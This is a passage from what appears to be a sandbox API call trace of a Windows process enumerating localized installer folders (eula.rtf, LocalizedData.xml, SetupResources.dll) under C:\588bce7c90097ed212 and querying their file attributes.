	[0236.915] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.916] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2bf6c793, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.916] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.916] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.916] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.916] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.916] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.916] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6)) returned 1
	[0236.917] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.917] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.918] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.918] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2bf6c793, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x10c8)) returned 1
	[0236.918] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.918] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.918] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.986] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.051] SetEvent (hEvent=0x17c) returned 1
	[0237.051] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049" (normalized: "c:\\588bce7c90097ed212\\1049"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049" (normalized: "c:\\588bce7c90097ed212\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.051] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0237.052] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.052] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c136236, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xd5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.052] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.052] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.052] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.052] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0237.052] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.052] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a)) returned 1
	[0237.053] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.053] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0237.053] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.053] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c136236, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xd5b8)) returned 1
	[0237.070] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.070] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.070] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.142] SetEvent (hEvent=0xd4) returned 1
	[0237.142] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053" (normalized: "c:\\588bce7c90097ed212\\1053"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.147] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053" (normalized: "c:\\588bce7c90097ed212\\1053"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.148] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd520
	[0237.148] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.148] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c5eb99c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1019, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.148] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.148] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.148] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.148] FindClose (in: hFindFile=0x192c63cd520 | out: hFindFile=0x192c63cd520) returned 1
	[0237.149] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.149] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70)) returned 1
	[0237.150] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.150] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0237.150] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.151] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c5eb99c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1019)) returned 1
	[0237.151] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.151] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.151] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.162] SetEvent (hEvent=0x17c) returned 1
	[0237.162] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055" (normalized: "c:\\588bce7c90097ed212\\1055"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055" (normalized: "c:\\588bce7c90097ed212\\1055"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.163] VirtualAlloc (lpAddress=0xc00026e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026e000
	[0237.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0237.164] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.164] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c621574, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1013, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.164] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.164] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.164] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.164] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0237.165] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.165] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12)) returned 1
